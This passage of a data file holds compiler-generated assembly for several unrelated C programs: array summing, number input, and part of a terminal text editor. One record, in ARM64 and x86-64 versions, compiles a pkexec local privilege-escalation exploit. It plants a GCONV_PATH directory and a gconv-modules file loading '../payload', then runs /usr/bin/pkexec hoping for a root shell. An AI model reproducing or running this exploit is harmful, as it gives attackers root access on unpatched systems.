LBB0_11: ; in Loop: Header=BB0_9 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_9
LBB0_12:
str wzr, [sp, #16]
b LBB0_13
LBB0_13: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_16
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_13 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #24
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_13 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_13
LBB0_16:
str wzr, [sp, #16]
b LBB0_17
LBB0_17: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_20
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_17 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #24
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_17 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_17
LBB0_20:
str wzr, [sp, #16]
b LBB0_21
LBB0_21: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_24
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_21 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #24
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_21 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_21
LBB0_24:
str wzr, [sp, #16]
b LBB0_25
LBB0_25: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_28
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_25 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #24
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
b LBB0_27
LBB0_27: ; in Loop: Header=BB0_25 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_25
LBB0_28:
ldr w9, [sp, #12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w8, [sp, #20]
str w8, [sp, #8] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_30
b LBB0_29
LBB0_29:
bl ___stack_chk_fail
LBB0_30:
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #448] ; 16-byte Folded Reload
ldp x28, x27, [sp, #432] ; 16-byte Folded Reload
add sp, sp, #464
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "asum=%d \n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $432, %rsp ## imm = 0x1B0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -420(%rbp)
movl $0, -428(%rbp)
movl $0, -424(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $100, -424(%rbp)
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -424(%rbp), %ecx
movslq -424(%rbp), %rax
movl %ecx, -416(%rbp,%rax,4)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_1
LBB0_4:
movl $0, -424(%rbp)
LBB0_5: ## =>This Inner Loop Header: Depth=1
cmpl $100, -424(%rbp)
jge LBB0_8
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movslq -424(%rbp), %rax
movl -416(%rbp,%rax,4), %eax
addl -428(%rbp), %eax
movl %eax, -428(%rbp)
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_5
LBB0_8:
movl $0, -424(%rbp)
LBB0_9: ## =>This Inner Loop Header: Depth=1
cmpl $100, -424(%rbp)
jge LBB0_12
## %bb.10: ## in Loop: Header=BB0_9 Depth=1
movslq -424(%rbp), %rax
movl -416(%rbp,%rax,4), %eax
addl -428(%rbp), %eax
movl %eax, -428(%rbp)
## %bb.11: ## in Loop: Header=BB0_9 Depth=1
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_9
LBB0_12:
movl $0, -424(%rbp)
LBB0_13: ## =>This Inner Loop Header: Depth=1
cmpl $100, -424(%rbp)
jge LBB0_16
## %bb.14: ## in Loop: Header=BB0_13 Depth=1
movslq -424(%rbp), %rax
movl -416(%rbp,%rax,4), %eax
addl -428(%rbp), %eax
movl %eax, -428(%rbp)
## %bb.15: ## in Loop: Header=BB0_13 Depth=1
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_13
LBB0_16:
movl $0, -424(%rbp)
LBB0_17: ## =>This Inner Loop Header: Depth=1
cmpl $100, -424(%rbp)
jge LBB0_20
## %bb.18: ## in Loop: Header=BB0_17 Depth=1
movslq -424(%rbp), %rax
movl -416(%rbp,%rax,4), %eax
addl -428(%rbp), %eax
movl %eax, -428(%rbp)
## %bb.19: ## in Loop: Header=BB0_17 Depth=1
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_17
LBB0_20:
movl $0, -424(%rbp)
LBB0_21: ## =>This Inner Loop Header: Depth=1
cmpl $100, -424(%rbp)
jge LBB0_24
## %bb.22: ## in Loop: Header=BB0_21 Depth=1
movslq -424(%rbp), %rax
movl -416(%rbp,%rax,4), %eax
addl -428(%rbp), %eax
movl %eax, -428(%rbp)
## %bb.23: ## in Loop: Header=BB0_21 Depth=1
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_21
LBB0_24:
movl $0, -424(%rbp)
LBB0_25: ## =>This Inner Loop Header: Depth=1
cmpl $100, -424(%rbp)
jge LBB0_28
## %bb.26: ## in Loop: Header=BB0_25 Depth=1
movslq -424(%rbp), %rax
movl -416(%rbp,%rax,4), %eax
addl -428(%rbp), %eax
movl %eax, -428(%rbp)
## %bb.27: ## in Loop: Header=BB0_25 Depth=1
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_25
LBB0_28:
movl -428(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -420(%rbp), %eax
movl %eax, -432(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_30
## %bb.29:
movl -432(%rbp), %eax ## 4-byte Reload
addq $432, %rsp ## imm = 0x1B0
popq %rbp
retq
LBB0_30:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "asum=%d \n"
.subsections_via_symbols
| the_stack_data/803799.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _fatal ; -- Begin function fatal
.p2align 2
_fatal: ; @fatal
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
bl _perror
mov w0, #-1
bl _exit
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #288
.cfi_def_cfa_offset 288
stp x28, x27, [sp, #256] ; 16-byte Folded Spill
stp x29, x30, [sp, #272] ; 16-byte Folded Spill
add x29, sp, #272
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov x8, x1
adrp x9, ___stack_chk_guard@GOTPAGE
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
ldr x9, [x9]
stur x9, [x29, #-24]
mov w1, #0
stur wzr, [x29, #-76]
stur w0, [x29, #-80]
stur x8, [x29, #-88]
stur xzr, [x29, #-32]
sub x0, x29, #72
mov x2, #40
bl _memset
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
stur x8, [x29, #-72]
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
stur x8, [x29, #-64]
adrp x8, l_.str.2@PAGE
add x8, x8, l_.str.2@PAGEOFF
stur x8, [x29, #-56]
adrp x8, l_.str.3@PAGE
add x8, x8, l_.str.3@PAGEOFF
stur x8, [x29, #-48]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
add x1, sp, #40
bl _stat
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_6
b LBB1_1
LBB1_1:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
mov w1, #511
bl _mkdir
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _fatal
b LBB1_3
LBB1_3:
mov x9, sp
mov x8, #511
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
mov w1, #514
bl _open
str w0, [sp, #36]
ldr w8, [sp, #36]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _fatal
b LBB1_5
LBB1_5:
ldr w0, [sp, #36]
bl _close
b LBB1_6
LBB1_6:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
add x1, sp, #40
bl _stat
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_12
b LBB1_7
LBB1_7:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
mov w1, #511
bl _mkdir
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _fatal
b LBB1_9
LBB1_9:
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fopen
str x0, [sp, #24]
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_11
b LBB1_10
LBB1_10:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _fatal
b LBB1_11
LBB1_11:
ldr x0, [sp, #24]
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl _fprintf
ldr x0, [sp, #24]
bl _fclose
b LBB1_12
LBB1_12:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
sub x1, x29, #32
sub x2, x29, #72
bl _execve
ldur w8, [x29, #-76]
str w8, [sp, #20] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_14
b LBB1_13
LBB1_13:
bl ___stack_chk_fail
LBB1_14:
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #272] ; 16-byte Folded Reload
ldp x28, x27, [sp, #256] ; 16-byte Folded Reload
add sp, sp, #288
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "lol"
l_.str.1: ; @.str.1
.asciz "PATH=GCONV_PATH=."
l_.str.2: ; @.str.2
.asciz "LC_MESSAGES=en_US.UTF-8"
l_.str.3: ; @.str.3
.asciz "XAUTHORITY=../LOL"
l_.str.4: ; @.str.4
.asciz "GCONV_PATH=."
l_.str.5: ; @.str.5
.asciz "mkdir"
l_.str.6: ; @.str.6
.asciz "GCONV_PATH=./lol"
l_.str.7: ; @.str.7
.asciz "open"
l_.str.8: ; @.str.8
.asciz "lol/gconv-modules"
l_.str.9: ; @.str.9
.asciz "wb"
l_.str.10: ; @.str.10
.asciz "fopen"
l_.str.11: ; @.str.11
.asciz "module UTF-8// INTERNAL ../payload 2\n"
l_.str.12: ; @.str.12
.asciz "[~] maybe get shell now?\n"
l_.str.13: ; @.str.13
.asciz "/usr/bin/pkexec"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _fatal ## -- Begin function fatal
.p2align 4, 0x90
_fatal: ## @fatal
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
callq _perror
movl $-1, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $256, %rsp ## imm = 0x100
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -68(%rbp)
movl %edi, -72(%rbp)
movq %rsi, -80(%rbp)
leaq -16(%rbp), %rdi
xorl %esi, %esi
movl $8, %edx
callq _memset
leaq -64(%rbp), %rdi
xorl %esi, %esi
movl $40, %edx
callq _memset
leaq L_.str(%rip), %rax
movq %rax, -64(%rbp)
leaq L_.str.1(%rip), %rax
movq %rax, -56(%rbp)
leaq L_.str.2(%rip), %rax
movq %rax, -48(%rbp)
leaq L_.str.3(%rip), %rax
movq %rax, -40(%rbp)
leaq L_.str.4(%rip), %rdi
leaq -224(%rbp), %rsi
callq _stat$INODE64
cmpl $0, %eax
jge LBB1_6
## %bb.1:
leaq L_.str.4(%rip), %rdi
movl $511, %esi ## imm = 0x1FF
callq _mkdir
cmpl $0, %eax
jge LBB1_3
## %bb.2:
leaq L_.str.5(%rip), %rdi
callq _fatal
LBB1_3:
leaq L_.str.6(%rip), %rdi
movl $514, %esi ## imm = 0x202
movl $511, %edx ## imm = 0x1FF
movb $0, %al
callq _open
movl %eax, -228(%rbp)
cmpl $0, -228(%rbp)
jge LBB1_5
## %bb.4:
leaq L_.str.7(%rip), %rdi
callq _fatal
LBB1_5:
movl -228(%rbp), %edi
callq _close
LBB1_6:
leaq L_.str(%rip), %rdi
leaq -224(%rbp), %rsi
callq _stat$INODE64
cmpl $0, %eax
jge LBB1_12
## %bb.7:
leaq L_.str(%rip), %rdi
movl $511, %esi ## imm = 0x1FF
callq _mkdir
cmpl $0, %eax
jge LBB1_9
## %bb.8:
leaq L_.str.5(%rip), %rdi
callq _fatal
LBB1_9:
leaq L_.str.8(%rip), %rdi
leaq L_.str.9(%rip), %rsi
callq _fopen
movq %rax, -240(%rbp)
cmpq $0, -240(%rbp)
jne LBB1_11
## %bb.10:
leaq L_.str.10(%rip), %rdi
callq _fatal
LBB1_11:
movq -240(%rbp), %rdi
leaq L_.str.11(%rip), %rsi
movb $0, %al
callq _fprintf
movq -240(%rbp), %rdi
callq _fclose
LBB1_12:
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
leaq -16(%rbp), %rsi
leaq -64(%rbp), %rdx
leaq L_.str.13(%rip), %rdi
callq _execve
movl -68(%rbp), %eax
movl %eax, -244(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_14
## %bb.13:
movl -244(%rbp), %eax ## 4-byte Reload
addq $256, %rsp ## imm = 0x100
popq %rbp
retq
LBB1_14:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "lol"
L_.str.1: ## @.str.1
.asciz "PATH=GCONV_PATH=."
L_.str.2: ## @.str.2
.asciz "LC_MESSAGES=en_US.UTF-8"
L_.str.3: ## @.str.3
.asciz "XAUTHORITY=../LOL"
L_.str.4: ## @.str.4
.asciz "GCONV_PATH=."
L_.str.5: ## @.str.5
.asciz "mkdir"
L_.str.6: ## @.str.6
.asciz "GCONV_PATH=./lol"
L_.str.7: ## @.str.7
.asciz "open"
L_.str.8: ## @.str.8
.asciz "lol/gconv-modules"
L_.str.9: ## @.str.9
.asciz "wb"
L_.str.10: ## @.str.10
.asciz "fopen"
L_.str.11: ## @.str.11
.asciz "module UTF-8// INTERNAL ../payload 2\n"
L_.str.12: ## @.str.12
.asciz "[~] maybe get shell now?\n"
L_.str.13: ## @.str.13
.asciz "/usr/bin/pkexec"
.subsections_via_symbols
| the_stack_data/670984.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _sum
stur w0, [x29, #-4]
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _sum ; -- Begin function sum
.p2align 2
_sum: ; @sum
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #4
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
str x0, [sp, #16] ; 8-byte Folded Spill
bl _scanf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #16] ; 8-byte Folded Reload
mov x9, sp
sub x8, x29, #8
str x8, [x9]
bl _scanf
ldur w8, [x29, #-4]
ldur w9, [x29, #-8]
add w0, w8, w9
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter first number:"
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "Enter second number:"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
callq _sum
movl %eax, -4(%rbp)
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _sum ## -- Begin function sum
.p2align 4, 0x90
_sum: ## @sum
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -4(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -4(%rbp), %eax
addl -8(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter first number:"
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "Enter second number:"
.subsections_via_symbols
| the_stack_data/150143310.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _disableRawMode ; -- Begin function disableRawMode
.p2align 2
_disableRawMode: ; @disableRawMode
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp] ; 8-byte Folded Spill
stur w0, [x29, #-4]
ldr w8, [x8, #28]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur w0, [x29, #-4]
mov w1, #2
adrp x2, _orig_termios@PAGE
add x2, x2, _orig_termios@PAGEOFF
bl _tcsetattr
ldr x8, [sp] ; 8-byte Folded Reload
str wzr, [x8, #28]
b LBB0_2
LBB0_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _editorAtExit ; -- Begin function editorAtExit
.p2align 2
_editorAtExit: ; @editorAtExit
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w0, #0
bl _disableRawMode
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _enableRawMode ; -- Begin function enableRawMode
.p2align 2
_enableRawMode: ; @enableRawMode
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x9, ___stack_chk_guard@GOTPAGE
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
ldr x9, [x9]
stur x9, [x29, #-8]
str w0, [sp, #24]
ldr w8, [x8, #28]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
str wzr, [sp, #28]
b LBB2_10
LBB2_2:
mov w0, #0
bl _isatty
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
b LBB2_9
LBB2_4:
adrp x0, _editorAtExit@PAGE
add x0, x0, _editorAtExit@PAGEOFF
bl _atexit
ldr w0, [sp, #24]
adrp x1, _orig_termios@PAGE
add x1, x1, _orig_termios@PAGEOFF
bl _tcgetattr
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
b LBB2_9
LBB2_6:
add x0, sp, #32
str x0, [sp, #8] ; 8-byte Folded Spill
adrp x1, _orig_termios@PAGE
add x1, x1, _orig_termios@PAGEOFF
mov x2, #72
bl _memcpy
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp, #32]
mov x9, #-819
and x8, x8, x9
str x8, [sp, #32]
ldr x8, [sp, #40]
and x8, x8, #0xfffffffffffffffe
str x8, [sp, #40]
ldr x8, [sp, #48]
orr x8, x8, #0x300
str x8, [sp, #48]
ldr x8, [sp, #56]
mov x9, #-1417
and x8, x8, x9
str x8, [sp, #56]
strb wzr, [sp, #80]
mov w8, #1
strb w8, [sp, #81]
ldr w0, [sp, #24]
mov w1, #2
bl _tcsetattr
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
b LBB2_9
LBB2_8:
ldr x9, [sp, #16] ; 8-byte Folded Reload
mov w8, #1
str w8, [x9, #28]
str wzr, [sp, #28]
b LBB2_10
LBB2_9:
bl ___error
mov w8, #25
str w8, [x0]
mov w8, #-1
str w8, [sp, #28]
b LBB2_10
LBB2_10:
ldr w8, [sp, #28]
str w8, [sp, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_12
b LBB2_11
LBB2_11:
bl ___stack_chk_fail
LBB2_12:
ldr w0, [sp, #4] ; 4-byte Folded Reload
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.globl _editorReadKey ; -- Begin function editorReadKey
.p2align 2
_editorReadKey: ; @editorReadKey
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-8]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldur w0, [x29, #-8]
sub x1, x29, #13
mov x2, #1
bl _read
mov x8, x0
mov x9, x0
stur w9, [x29, #-12]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
b LBB3_1
LBB3_3:
ldur w8, [x29, #-12]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB3_5
b LBB3_4
LBB3_4:
mov w0, #1
bl _exit
LBB3_5:
b LBB3_6
LBB3_6: ; =>This Inner Loop Header: Depth=1
ldursb w8, [x29, #-13]
subs w8, w8, #27
cset w8, ne
tbnz w8, #0, LBB3_43
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_6 Depth=1
ldur w0, [x29, #-8]
sub x1, x29, #16
mov x2, #1
bl _read
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB3_9
b LBB3_8
LBB3_8:
mov w8, #27
stur w8, [x29, #-4]
b LBB3_45
LBB3_9: ; in Loop: Header=BB3_6 Depth=1
ldur w0, [x29, #-8]
sub x8, x29, #16
add x1, x8, #1
mov x2, #1
bl _read
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB3_11
b LBB3_10
LBB3_10:
mov w8, #27
stur w8, [x29, #-4]
b LBB3_45
LBB3_11: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-16]
subs w8, w8, #91
cset w8, ne
tbnz w8, #0, LBB3_35
b LBB3_12
LBB3_12: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-15]
subs w8, w8, #48
cset w8, lt
tbnz w8, #0, LBB3_25
b LBB3_13
LBB3_13: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-15]
subs w8, w8, #57
cset w8, gt
tbnz w8, #0, LBB3_25
b LBB3_14
LBB3_14: ; in Loop: Header=BB3_6 Depth=1
ldur w0, [x29, #-8]
sub x8, x29, #16
add x1, x8, #2
mov x2, #1
bl _read
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB3_16
b LBB3_15
LBB3_15:
mov w8, #27
stur w8, [x29, #-4]
b LBB3_45
LBB3_16: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-14]
subs w8, w8, #126
cset w8, ne
tbnz w8, #0, LBB3_24
b LBB3_17
LBB3_17: ; in Loop: Header=BB3_6 Depth=1
ldursb w8, [x29, #-15]
stur w8, [x29, #-20] ; 4-byte Folded Spill
subs w8, w8, #51
cset w8, eq
tbnz w8, #0, LBB3_20
b LBB3_18
LBB3_18: ; in Loop: Header=BB3_6 Depth=1
ldur w8, [x29, #-20] ; 4-byte Folded Reload
subs w8, w8, #53
cset w8, eq
tbnz w8, #0, LBB3_21
b LBB3_19
LBB3_19: ; in Loop: Header=BB3_6 Depth=1
ldur w8, [x29, #-20] ; 4-byte Folded Reload
subs w8, w8, #54
cset w8, eq
tbnz w8, #0, LBB3_22
b LBB3_23
LBB3_20:
mov w8, #1004
stur w8, [x29, #-4]
b LBB3_45
LBB3_21:
mov w8, #1007
stur w8, [x29, #-4]
b LBB3_45
LBB3_22:
mov w8, #1008
stur w8, [x29, #-4]
b LBB3_45
LBB3_23: ; in Loop: Header=BB3_6 Depth=1
b LBB3_24
